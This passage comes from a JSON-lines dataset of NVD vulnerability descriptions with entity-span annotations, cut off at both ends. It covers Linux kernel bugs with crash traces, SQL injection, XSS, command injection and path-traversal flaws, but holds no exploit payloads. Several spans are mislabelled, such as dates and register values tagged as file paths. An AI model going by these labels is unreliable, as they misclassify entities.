/Windows/System32/drivers/etc/hosts": [[750, 785]], "FILEPATH: Gf.php": [[101, 107]], "FILEPATH: db.php": [[305, 311]], "SYSTEM: cURL": [[381, 385]], "VULNERABILITY: remote code execution": [[1108, 1129]], "VULNERABILITY: privilege escalation": [[1131, 1151]], "VULNERABILITY: SSRF": [[20, 24], [932, 936]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-50234"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Prevent bpf program recursion for raw tracepoint probes\n\nWe got report from sysbot [1] about warnings that were caused by\nbpf program attached to contention_begin raw tracepoint triggering\nthe same tracepoint by using bpf_trace_printk helper that takes\ntrace_printk_lock lock.\n\n Call Trace:\n  <TASK>\n  ? trace_event_raw_event_bpf_trace_printk+0x5f/0x90\n  bpf_trace_printk+0x2b/0xe0\n  bpf_prog_a9aec6167c091eef_prog+0x1f/0x24\n  bpf_trace_run2+0x26/0x90\n  native_queued_spin_lock_slowpath+0x1c6/0x2b0\n  _raw_spin_lock_irqsave+0x44/0x50\n  bpf_trace_printk+0x3f/0xe0\n  bpf_prog_a9aec6167c091eef_prog+0x1f/0x24\n  bpf_trace_run2+0x26/0x90\n  native_queued_spin_lock_slowpath+0x1c6/0x2b0\n  _raw_spin_lock_irqsave+0x44/0x50\n  bpf_trace_printk+0x3f/0xe0\n  bpf_prog_a9aec6167c091eef_prog+0x1f/0x24\n  bpf_trace_run2+0x26/0x90\n  native_queued_spin_lock_slowpath+0x1c6/0x2b0\n  _raw_spin_lock_irqsave+0x44/0x50\n  bpf_trace_printk+0x3f/0xe0\n  bpf_prog_a9aec6167c091eef_prog+0x1f/0x24\n  bpf_trace_run2+0x26/0x90\n  native_queued_spin_lock_slowpath+0x1c6/0x2b0\n  _raw_spin_lock_irqsave+0x44/0x50\n  __unfreeze_partials+0x5b/0x160\n  ...\n\nThe can be reproduced by attaching bpf program as raw tracepoint on\ncontention_begin tracepoint. The bpf prog calls bpf_trace_printk\nhelper. Then by running perf bench the spin lock code is forced to\ntake slow path and call contention_begin tracepoint.\n\nFixing this by skipping execution of the bpf program if it's\nalready running, Using bpf prog 'active' field, which is being\ncurrently used by trampoline programs for the same reason.\n\nMoving bpf_prog_inc_misses_counter to syscall.c because\ntrampoline.c is compiled in just for CONFIG_BPF_JIT option.\n\n[1] https://lore.kernel.org/bpf/YxhFe3EwqchC%2FfYf@krava/T/#t", "spans": {"URL: https://lore.kernel.org/bpf/YxhFe3EwqchC%2FfYf@krava/T/#t": [[1750, 1807]], "FILEPATH: syscall.c": [[1667, 1676]], "FILEPATH: trampoline.c": [[1685, 1697]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49764"}}
{"text": "On Juniper Networks Junos OS devices, a specific SNMP OID poll causes a memory leak which over time leads to a kernel crash (vmcore). Prior to the kernel crash other processes might be impacted, such as failure to establish SSH connection to the device. The administrator can monitor the output of the following command to check if there is memory leak caused by this issue: user@device> show system virtual-memory | match \"pfe_ipc|kmem\" pfe_ipc 147 5K - 164352 16,32,64,8192 <-- increasing vm.kmem_map_free: 127246336 <-- decreasing pfe_ipc 0 0K - 18598 32,8192 vm.kmem_map_free: 134582272 This issue affects Juniper Networks Junos OS: 17.4R3; 18.1 version 18.1R3-S5 and later versions prior to 18.1R3-S10; 18.2 version 18.2R3 and later versions prior to 18.2R3-S3; 18.2X75 version 18.2X75-D420, 18.2X75-D50 and later versions prior to 18.2X75-D430, 18.2X75-D53, 18.2X75-D60; 18.3 version 18.3R3 and later versions prior to 18.3R3-S2; 18.4 version 18.4R1-S4, 18.4R2 and later versions prior to 18.4R2-S5, 18.4R3-S1; 19.1 version 19.1R2 and later versions prior to 19.1R2-S2, 19.1R3; 19.2 version 19.2R1 and later versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S5, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2. This issue does not affect Juniper Networks Junos OS prior to 17.4R3.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [610, 617], [1262, 1269]], "VULNERABILITY: memory leak": [[72, 83], [341, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1683"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: Fix backlog accounting in qdisc_dequeue_internal\n\nThis issue applies for the following qdiscs: hhf, fq, fq_codel, and\nfq_pie, and occurs in their change handlers when adjusting to the new\nlimit. The problem is the following in the values passed to the\nsubsequent qdisc_tree_reduce_backlog call given a tbf parent:\n\n   When the tbf parent runs out of tokens, skbs of these qdiscs will\n   be placed in gso_skb. Their peek handlers are qdisc_peek_dequeued,\n   which accounts for both qlen and backlog. However, in the case of\n   qdisc_dequeue_internal, ONLY qlen is accounted for when pulling\n   from gso_skb. This means that these qdiscs are missing a\n   qdisc_qstats_backlog_dec when dropping packets to satisfy the\n   new limit in their change handlers.\n\n   One can observe this issue with the following (with tc patched to\n   support a limit of 0):\n\n   export TARGET=fq\n   tc qdisc del dev lo root\n   tc qdisc add dev lo root handle 1: tbf rate 8bit burst 100b latency 1ms\n   tc qdisc replace dev lo handle 3: parent 1:1 $TARGET limit 1000\n   echo ''; echo 'add child'; tc -s -d qdisc show dev lo\n   ping -I lo -f -c2 -s32 -W0.001 127.0.0.1 2>&1 >/dev/null\n   echo ''; echo 'after ping'; tc -s -d qdisc show dev lo\n   tc qdisc change dev lo handle 3: parent 1:1 $TARGET limit 0\n   echo ''; echo 'after limit drop'; tc -s -d qdisc show dev lo\n   tc qdisc replace dev lo handle 2: parent 1:1 sfq\n   echo ''; echo 'post graft'; tc -s -d qdisc show dev lo\n\n   The second to last show command shows 0 packets but a positive\n   number (74) of backlog bytes. The problem becomes clearer in the\n   last show command, where qdisc_purge_queue triggers\n   qdisc_tree_reduce_backlog with the positive backlog and causes an\n   underflow in the tbf parent's backlog (4096 Mb instead of 0).\n\nTo fix this issue, the codepath for all clients of qdisc_dequeue_internal\nhas been simplified: codel, pie, hhf, fq, fq_pie, and fq_codel.\nqdisc_dequeue_internal handles the backlog adjustments for all cases that\ndo not directly use the dequeue handler.\n\nThe old fq_codel_change limit adjustment loop accumulated the arguments to\nthe subsequent qdisc_tree_reduce_backlog call through the cstats field.\nHowever, this is confusing and error prone as fq_codel_dequeue could also\npotentially mutate this field (which qdisc_dequeue_internal calls in the\nnon gso_skb case), so we have unified the code here with other qdiscs.", "spans": {"IP_ADDRESS: 127.0.0.1": [[1212, 1221]], "FILEPATH: /dev/null": [[1228, 1237]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39677"}}
{"text": "TZInfo is a Ruby library that provides access to time zone data and allows times to be converted using time zone rules. Versions prior to 0.36.1, as well as those prior to 1.2.10 when used with the Ruby data source tzinfo-data, are vulnerable to relative path traversal. With the Ruby data source, time zones are defined in Ruby files. There is one file per time zone. Time zone files are loaded with `require` on demand. In the affected versions, `TZInfo::Timezone.get` fails to validate time zone identifiers correctly, allowing a new line character within the identifier. With Ruby version 1.9.3 and later, `TZInfo::Timezone.get` can be made to load unintended files with `require`, executing them within the Ruby process. Versions 0.3.61 and 1.2.10 include fixes to correctly validate time zone identifiers. Versions 2.0.0 and later are not vulnerable. Version 0.3.61 can still load arbitrary files from the Ruby load path if their name follows the rules for a valid time zone identifier and the file has a prefix of `tzinfo/definition` within a directory in the load path. Applications should ensure that untrusted files are not placed in a directory on the load path. As a workaround, the time zone identifier can be validated before passing to `TZInfo::Timezone.get` by ensuring it matches the regular expression `\\A[A-Za-z0-9+\\-_]+(?:\\/[A-Za-z0-9+\\-_]+)*\\z`.", "spans": {"SYSTEM: Ruby": [[12, 16], [198, 202], [280, 284], [324, 328], [580, 584], [712, 716], [912, 916]], "VULNERABILITY: path traversal": [[255, 269]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31163"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Avoid using sk_socket after free when sending\n\nThe sk->sk_socket is not locked or referenced in backlog thread, and\nduring the call to skb_send_sock(), there is a race condition with\nthe release of sk_socket. All types of sockets(tcp/udp/unix/vsock)\nwill be affected.\n\nRace conditions:\n'''\nCPU0                               CPU1\n\nbacklog::skb_send_sock\n  sendmsg_unlocked\n    sock_sendmsg\n      sock_sendmsg_nosec\n                                   close(fd):\n                                     ...\n                                     ops->release() -> sock_map_close()\n                                     sk_socket->ops = NULL\n                                     free(socket)\n      sock->ops->sendmsg\n            ^\n            panic here\n'''\n\nThe ref of psock become 0 after sock_map_close() executed.\n'''\nvoid sock_map_close()\n{\n    ...\n    if (likely(psock)) {\n    ...\n    // !! here we remove psock and the ref of psock become 0\n    sock_map_remove_links(sk, psock)\n    psock = sk_psock_get(sk);\n    if (unlikely(!psock))\n        goto no_psock; <=== Control jumps here via goto\n        ...\n        cancel_delayed_work_sync(&psock->work); <=== not executed\n        sk_psock_put(sk, psock);\n        ...\n}\n'''\n\nBased on the fact that we already wait for the workqueue to finish in\nsock_map_close() if psock is held, we simply increase the psock\nreference count to avoid race conditions.\n\nWith this patch, if the backlog thread is running, sock_map_close() will\nwait for the backlog thread to complete and cancel all pending work.\n\nIf no backlog running, any pending work that hasn't started by then will\nfail when invoked by sk_psock_get(), as the psock reference count have\nbeen zeroed, and sk_psock_drop() will cancel all jobs via\ncancel_delayed_work_sync().\n\nIn summary, we require synchronization to coordinate the backlog thread\nand close() thread.\n\nThe panic I catched:\n'''\nWorkqueue: events sk_psock_backlog\nRIP: 0010:sock_sendmsg+0x21d/0x440\nRAX: 0000000000000000 RBX: ffffc9000521fad8 RCX: 0000000000000001\n...\nCall Trace:\n <TASK>\n ? die_addr+0x40/0xa0\n ? exc_general_protection+0x14c/0x230\n ? asm_exc_general_protection+0x26/0x30\n ? sock_sendmsg+0x21d/0x440\n ? sock_sendmsg+0x3e0/0x440\n ? __pfx_sock_sendmsg+0x10/0x10\n __skb_send_sock+0x543/0xb70\n sk_psock_backlog+0x247/0xb80\n...\n'''", "spans": {"FILEPATH: /udp/unix/vsock": [[316, 331]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[246, 260]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38154"}}
{"text": "Multiple vulnerabilities in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow an authenticated remote attacker to conduct SQL injection attacks against the Aruba EdgeConnect Enterprise Orchestrator instance. An attacker could exploit these vulnerabilities to obtain and modify sensitive information in the underlying database potentially leading to complete compromise of the Aruba EdgeConnect Enterprise Orchestrator host in Aruba EdgeConnect Enterprise Orchestration Software version(s): Aruba EdgeConnect Enterprise Orchestrator (on-premises), Aruba EdgeConnect Enterprise Orchestrator-as-a-Service, Aruba EdgeConnect Enterprise Orchestrator-SP and Aruba EdgeConnect Enterprise Orchestrator Global Enterprise Tenant Orchestrators - Orchestrator 9.2.1.40179 and below, - Orchestrator 9.1.4.40436 and below, - Orchestrator 9.0.7.40110 and below, - Orchestrator 8.10.23.40015 and below, - Any older branches of Orchestrator not specifically mentioned.", "spans": {"ORGANIZATION: Aruba": [[66, 71], [198, 203], [418, 423], [468, 473], [532, 537], [589, 594], [645, 650], [694, 699]], "VULNERABILITY: SQL injection": [[164, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43521"}}
{"text": "Vulnerability in the Oracle Trade Management product of Oracle E-Business Suite (component: Claims). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Trade Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trade Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Trade Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Trade Management accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [56, 62], [265, 271], [407, 413], [604, 610], [711, 717]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2822"}}
{"text": "The Autoptimize WordPress plugin before 2.7.8 attempts to remove potential malicious files from the extracted archive uploaded via the 'Import Settings' feature, however this is not sufficient to protect against RCE as a race condition can be achieved in between the moment the file is extracted on the disk but not yet removed. It is a bypass of CVE-2020-24948.", "spans": {"CVE_ID: CVE-2020-24948": [[347, 361]], "SYSTEM: WordPress": [[16, 25]], "VULNERABILITY: race condition": [[221, 235]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24377"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcutorture: Fix ksoftirqd boosting timing and iteration\n\nThe RCU priority boosting can fail in two situations:\n\n1) If (nr_cpus= > maxcpus=), which means if the total number of CPUs\nis higher than those brought online at boot, then torture_onoff() may\nlater bring up CPUs that weren't online on boot. Now since rcutorture\ninitialization only boosts the ksoftirqds of the CPUs that have been\nset online on boot, the CPUs later set online by torture_onoff won't\nbenefit from the boost, making RCU priority boosting fail.\n\n2) The ksoftirqd kthreads are boosted after the creation of\nrcu_torture_boost() kthreads, which opens a window large enough for these\nrcu_torture_boost() kthreads to wait (despite running at FIFO priority)\nfor ksoftirqds that are still running at SCHED_NORMAL priority.\n\nThe issues can trigger for example with:\n\n\t./kvm.sh --configs TREE01 --kconfig \"CONFIG_RCU_BOOST=y\"\n\n\t[   34.968561] rcu-torture: !!!\n\t[   34.968627] ------------[ cut here ]------------\n\t[   35.014054] WARNING: CPU: 4 PID: 114 at kernel/rcu/rcutorture.c:1979 rcu_torture_stats_print+0x5ad/0x610\n\t[   35.052043] Modules linked in:\n\t[   35.069138] CPU: 4 PID: 114 Comm: rcu_torture_sta Not tainted 5.18.0-rc1 #1\n\t[   35.096424] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.14.0-0-g155821a-rebuilt.opensuse.org 04/01/2014\n\t[   35.154570] RIP: 0010:rcu_torture_stats_print+0x5ad/0x610\n\t[   35.198527] Code: 63 1b 02 00 74 02 0f 0b 48 83 3d 35 63 1b 02 00 74 02 0f 0b 48 83 3d 21 63 1b 02 00 74 02 0f 0b 48 83 3d 0d 63 1b 02 00 74 02 <0f> 0b 83 eb 01 0f 8e ba fc ff ff 0f 0b e9 b3 fc ff f82\n\t[   37.251049] RSP: 0000:ffffa92a0050bdf8 EFLAGS: 00010202\n\t[   37.277320] rcu: De-offloading 8\n\t[   37.290367] RAX: 0000000000000000 RBX: 0000000000000001 RCX: 0000000000000001\n\t[   37.290387] RDX: 0000000000000000 RSI: 00000000ffffbfff RDI: 00000000ffffffff\n\t[   37.290398] RBP: 000000000000007b R08: 0000000000000000 R09: c0000000ffffbfff\n\t[   37.290407] R10: 000000000000002a R11: ffffa92a0050bc18 R12: ffffa92a0050be20\n\t[   37.290417] R13: ffffa92a0050be78 R14: 0000000000000000 R15: 000000000001bea0\n\t[   37.290427] FS:  0000000000000000(0000) GS:ffff96045eb00000(0000) knlGS:0000000000000000\n\t[   37.290448] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n\t[   37.290460] CR2: 0000000000000000 CR3: 000000001dc0c000 CR4: 00000000000006e0\n\t[   37.290470] Call Trace:\n\t[   37.295049]  <TASK>\n\t[   37.295065]  ? preempt_count_add+0x63/0x90\n\t[   37.295095]  ? _raw_spin_lock_irqsave+0x12/0x40\n\t[   37.295125]  ? rcu_torture_stats_print+0x610/0x610\n\t[   37.295143]  rcu_torture_stats+0x29/0x70\n\t[   37.295160]  kthread+0xe3/0x110\n\t[   37.295176]  ? kthread_complete_and_exit+0x20/0x20\n\t[   37.295193]  ret_from_fork+0x22/0x30\n\t[   37.295218]  </TASK>\n\nFix this with boosting the ksoftirqds kthreads from the boosting\nhotplug callback itself and before the boosting kthreads are created.", "spans": {"DOMAIN: rel-1.14.0-0-g155821a-rebuilt.opensuse.org": [[1343, 1385]], "FILEPATH: /rcu/rcutorture.c": [[1096, 1113]], "FILEPATH: /01/2014": [[1388, 1396]], "FILEPATH: kvm.sh": [[904, 910]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1301, 1305]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50177"}}
{"text": "Backstage is an open platform for building developer portals. `@backstage/catalog-model` prior to version 1.2.0, `@backstage/core-components` prior to 0.12.4, and `@backstage/plugin-catalog-backend` prior to 1.7.2 are affected by a cross-site scripting vulnerability. This vulnerability allows a malicious actor with access to add or modify content in an instance of the Backstage software catalog to inject script URLs in the entities stored in the catalog. If users of the catalog then click on said URLs, that can lead to an XSS attack.\n\nThis vulnerability has been patched in both the frontend and backend implementations. The default `Link` component from `@backstage/core-components` version 1.2.0 and greater will now reject `javascript:` URLs, and there is a global override of `window.open` to do the same. In addition, the catalog model v0.12.4 and greater as well as the catalog backend v1.7.2 and greater now has additional validation built in that prevents `javascript:` URLs in known annotations. As a workaround, the general practice of limiting access to modifying catalog content and requiring code reviews greatly help mitigate this vulnerability.", "spans": {"VULNERABILITY: cross-site scripting": [[232, 252]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-25571"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetlink: avoid infinite retry looping in netlink_unicast()\n\nnetlink_attachskb() checks for the socket's read memory allocation\nconstraints. Firstly, it has:\n\n  rmem < READ_ONCE(sk->sk_rcvbuf)\n\nto check if the just increased rmem value fits into the socket's receive\nbuffer. If not, it proceeds and tries to wait for the memory under:\n\n  rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf)\n\nThe checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is\nequal to sk->sk_rcvbuf. Thus the function neither successfully accepts\nthese conditions, nor manages to reschedule the task - and is called in\nretry loop for indefinite time which is caught as:\n\n  rcu: INFO: rcu_sched self-detected stall on CPU\n  rcu:     0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212\n  (t=26000 jiffies g=230833 q=259957)\n  NMI backtrace for cpu 0\n  CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014\n  Call Trace:\n  <IRQ>\n  dump_stack lib/dump_stack.c:120\n  nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105\n  nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62\n  rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335\n  rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590\n  update_process_times kernel/time/timer.c:1953\n  tick_sched_handle kernel/time/tick-sched.c:227\n  tick_sched_timer kernel/time/tick-sched.c:1399\n  __hrtimer_run_queues kernel/time/hrtimer.c:1652\n  hrtimer_interrupt kernel/time/hrtimer.c:1717\n  __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113\n  asm_call_irq_on_stack arch/x86/entry/entry_64.S:808\n  </IRQ>\n\n  netlink_attachskb net/netlink/af_netlink.c:1234\n  netlink_unicast net/netlink/af_netlink.c:1349\n  kauditd_send_queue kernel/audit.c:776\n  kauditd_thread kernel/audit.c:897\n  kthread kernel/kthread.c:328\n  ret_from_fork arch/x86/entry/entry_64.S:304\n\nRestore the original behavior of the check which commit in Fixes\naccidentally missed when restructuring the code.\n\nFound by Linux Verification Center (linuxtesting.org).", "spans": {"DOMAIN: linuxtesting.org": [[2118, 2134]], "FILEPATH: /1/0x4000000000000000": [[823, 844]], "FILEPATH: /01/2014": [[1074, 1082]], "FILEPATH: /rcu/tree_stall.h": [[1271, 1288]], "FILEPATH: /rcu/tree.c": [[1326, 1337]], "FILEPATH: /time/timer.c": [[1372, 1385]], "FILEPATH: /time/tick-sched.c": [[1417, 1435], [1465, 1483]], "FILEPATH: /time/hrtimer.c": [[1518, 1533], [1565, 1580]], "FILEPATH: /x86/kernel/apic/apic.c": [[1622, 1645]], "FILEPATH: /x86/entry/entry_64.S": [[1679, 1700], [1940, 1961]], "FILEPATH: /netlink/af_netlink.c": [[1738, 1759], [1786, 1807]], "FILEPATH: dump_stack.c": [[1122, 1134]], "FILEPATH: nmi_backtrace.c": [[1168, 1183], [1224, 1239]], "FILEPATH: audit.c": [[1841, 1848], [1877, 1884]], "FILEPATH: kthread.c": [[1906, 1915]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2091, 2096]], "SYSTEM: QEMU": [[1013, 1017]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38727"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: intel-ish-hid: Fix use-after-free issue in hid_ishtp_cl_remove()\n\nDuring the `rmmod` operation for the `intel_ishtp_hid` driver, a\nuse-after-free issue can occur in the hid_ishtp_cl_remove() function.\nThe function hid_ishtp_cl_deinit() is called before ishtp_hid_remove(),\nwhich can lead to accessing freed memory or resources during the\nremoval process.\n\nCall Trace:\n ? ishtp_cl_send+0x168/0x220 [intel_ishtp]\n ? hid_output_report+0xe3/0x150 [hid]\n hid_ishtp_set_feature+0xb5/0x120 [intel_ishtp_hid]\n ishtp_hid_request+0x7b/0xb0 [intel_ishtp_hid]\n hid_hw_request+0x1f/0x40 [hid]\n sensor_hub_set_feature+0x11f/0x190 [hid_sensor_hub]\n _hid_sensor_power_state+0x147/0x1e0 [hid_sensor_trigger]\n hid_sensor_runtime_resume+0x22/0x30 [hid_sensor_trigger]\n sensor_hub_remove+0xa8/0xe0 [hid_sensor_hub]\n hid_device_remove+0x49/0xb0 [hid]\n hid_destroy_device+0x6f/0x90 [hid]\n ishtp_hid_remove+0x42/0x70 [intel_ishtp_hid]\n hid_ishtp_cl_remove+0x6b/0xb0 [intel_ishtp_hid]\n ishtp_cl_device_remove+0x4a/0x60 [intel_ishtp]\n ...\n\nAdditionally, ishtp_hid_remove() is a HID level power off, which should\noccur before the ISHTP level disconnect.\n\nThis patch resolves the issue by reordering the calls in\nhid_ishtp_cl_remove(). The function ishtp_hid_remove() is now\ncalled before hid_ishtp_cl_deinit().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[93, 107], [205, 219]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21929"}}
{"text": "functions_netflow.php in Artica Pandora FMS 7.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the index.php?operation/netflow/nf_live_view ip_dst, dst_port, or src_port parameter, a different vulnerability than CVE-2019-20224.", "spans": {"CVE_ID: CVE-2019-20224": [[250, 264]], "FILEPATH: /netflow/nf_live_view": [[156, 177]], "FILEPATH: functions_netflow.php": [[0, 21]], "FILEPATH: index.php": [[137, 146]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8947"}}
{"text": "Matrix Javascript SDK is the Matrix Client-Server SDK for JavaScript. Prior to version 19.7.0, an attacker cooperating with a malicious homeserver can construct messages appearing to have come from another person. Such messages will be marked with a grey shield on some platforms, but this may be missing in others. This attack is possible due to the matrix-js-sdk implementing a too permissive key forwarding strategy on the receiving end. Starting with version 19.7.0, the default policy for accepting key forwards has been made more strict in the matrix-js-sdk. matrix-js-sdk will now only accept forwarded keys in response to previously issued requests and only from own, verified devices. The SDK now sets a `trusted` flag on the decrypted message upon decryption, based on whether the key used to decrypt the message was received from a trusted source. Clients need to ensure that messages decrypted with a key with `trusted = false` are decorated appropriately, for example, by showing a warning for such messages. This attack requires coordination between a malicious homeserver and an attacker, and those who trust your homeservers do not need a workaround.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39249"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-bufio: don't schedule in atomic context\n\nA BUG was reported as below when CONFIG_DEBUG_ATOMIC_SLEEP and\ntry_verify_in_tasklet are enabled.\n[  129.444685][  T934] BUG: sleeping function called from invalid context at drivers/md/dm-bufio.c:2421\n[  129.444723][  T934] in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 934, name: kworker/1:4\n[  129.444740][  T934] preempt_count: 201, expected: 0\n[  129.444756][  T934] RCU nest depth: 0, expected: 0\n[  129.444781][  T934] Preemption disabled at:\n[  129.444789][  T934] [<ffffffd816231900>] shrink_work+0x21c/0x248\n[  129.445167][  T934] kernel BUG at kernel/sched/walt/walt_debug.c:16!\n[  129.445183][  T934] Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP\n[  129.445204][  T934] Skip md ftrace buffer dump for: 0x1609e0\n[  129.447348][  T934] CPU: 1 PID: 934 Comm: kworker/1:4 Tainted: G        W  OE      6.6.56-android15-8-o-g6f82312b30b9-debug #1 1400000003000000474e5500b3187743670464e8\n[  129.447362][  T934] Hardware name: Qualcomm Technologies, Inc. Parrot QRD, Alpha-M (DT)\n[  129.447373][  T934] Workqueue: dm_bufio_cache shrink_work\n[  129.447394][  T934] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  129.447406][  T934] pc : android_rvh_schedule_bug+0x0/0x8 [sched_walt_debug]\n[  129.447435][  T934] lr : __traceiter_android_rvh_schedule_bug+0x44/0x6c\n[  129.447451][  T934] sp : ffffffc0843dbc90\n[  129.447459][  T934] x29: ffffffc0843dbc90 x28: ffffffffffffffff x27: 0000000000000c8b\n[  129.447479][  T934] x26: 0000000000000040 x25: ffffff804b3d6260 x24: ffffffd816232b68\n[  129.447497][  T934] x23: ffffff805171c5b4 x22: 0000000000000000 x21: ffffffd816231900\n[  129.447517][  T934] x20: ffffff80306ba898 x19: 0000000000000000 x18: ffffffc084159030\n[  129.447535][  T934] x17: 00000000d2b5dd1f x16: 00000000d2b5dd1f x15: ffffffd816720358\n[  129.447554][  T934] x14: 0000000000000004 x13: ffffff89ef978000 x12: 0000000000000003\n[  129.447572][  T934] x11: ffffffd817a823c4 x10: 0000000000000202 x9 : 7e779c5735de9400\n[  129.447591][  T934] x8 : ffffffd81560d004 x7 : 205b5d3938373434 x6 : ffffffd8167397c8\n[  129.447610][  T934] x5 : 0000000000000000 x4 : 0000000000000001 x3 : ffffffc0843db9e0\n[  129.447629][  T934] x2 : 0000000000002f15 x1 : 0000000000000000 x0 : 0000000000000000\n[  129.447647][  T934] Call trace:\n[  129.447655][  T934]  android_rvh_schedule_bug+0x0/0x8 [sched_walt_debug 1400000003000000474e550080cce8a8a78606b6]\n[  129.447681][  T934]  __might_resched+0x190/0x1a8\n[  129.447694][  T934]  shrink_work+0x180/0x248\n[  129.447706][  T934]  process_one_work+0x260/0x624\n[  129.447718][  T934]  worker_thread+0x28c/0x454\n[  129.447729][  T934]  kthread+0x118/0x158\n[  129.447742][  T934]  ret_from_fork+0x10/0x20\n[  129.447761][  T934] Code: ???????? ???????? ???????? d2b5dd1f (d4210000)\n[  129.447772][  T934] ---[ end trace 0000000000000000 ]---\n\ndm_bufio_lock will call spin_lock_bh when try_verify_in_tasklet\nis enabled, and __scan will be called in atomic context.", "spans": {"HASH: 1400000003000000474e5500b3187743670464e8": [[991, 1031]], "HASH: 1400000003000000474e550080cce8a8a78606b6": [[2471, 2511]], "FILEPATH: /md/dm-bufio.c": [[295, 309]], "FILEPATH: /sched/walt/walt_debug.c": [[683, 707]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[1070, 1078]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37928"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (gpio-fan) Fix array out of bounds access\n\nThe driver does not check if the cooling state passed to\ngpio_fan_set_cur_state() exceeds the maximum cooling state as\nstored in fan_data->num_speeds. Since the cooling state is later\nused as an array index in set_fan_speed(), an array out of bounds\naccess can occur.\nThis can be exploited by setting the state of the thermal cooling device\nto arbitrary values, causing for example a kernel oops when unavailable\nmemory is accessed this way.\n\nExample kernel oops:\n[  807.987276] Unable to handle kernel paging request at virtual address ffffff80d0588064\n[  807.987369] Mem abort info:\n[  807.987398]   ESR = 0x96000005\n[  807.987428]   EC = 0x25: DABT (current EL), IL = 32 bits\n[  807.987477]   SET = 0, FnV = 0\n[  807.987507]   EA = 0, S1PTW = 0\n[  807.987536]   FSC = 0x05: level 1 translation fault\n[  807.987570] Data abort info:\n[  807.987763]   ISV = 0, ISS = 0x00000005\n[  807.987801]   CM = 0, WnR = 0\n[  807.987832] swapper pgtable: 4k pages, 39-bit VAs, pgdp=0000000001165000\n[  807.987872] [ffffff80d0588064] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000\n[  807.987961] Internal error: Oops: 96000005 [#1] PREEMPT SMP\n[  807.987992] Modules linked in: cmac algif_hash aes_arm64 algif_skcipher af_alg bnep hci_uart btbcm bluetooth ecdh_generic ecc 8021q garp stp llc snd_soc_hdmi_codec brcmfmac vc4 brcmutil cec drm_kms_helper snd_soc_core cfg80211 snd_compress bcm2835_codec(C) snd_pcm_dmaengine syscopyarea bcm2835_isp(C) bcm2835_v4l2(C) sysfillrect v4l2_mem2mem bcm2835_mmal_vchiq(C) raspberrypi_hwmon sysimgblt videobuf2_dma_contig videobuf2_vmalloc fb_sys_fops videobuf2_memops rfkill videobuf2_v4l2 videobuf2_common i2c_bcm2835 snd_bcm2835(C) videodev snd_pcm snd_timer snd mc vc_sm_cma(C) gpio_fan uio_pdrv_genirq uio drm fuse drm_panel_orientation_quirks backlight ip_tables x_tables ipv6\n[  807.988508] CPU: 0 PID: 1321 Comm: bash Tainted: G         C        5.15.56-v8+ #1575\n[  807.988548] Hardware name: Raspberry Pi 3 Model B Rev 1.2 (DT)\n[  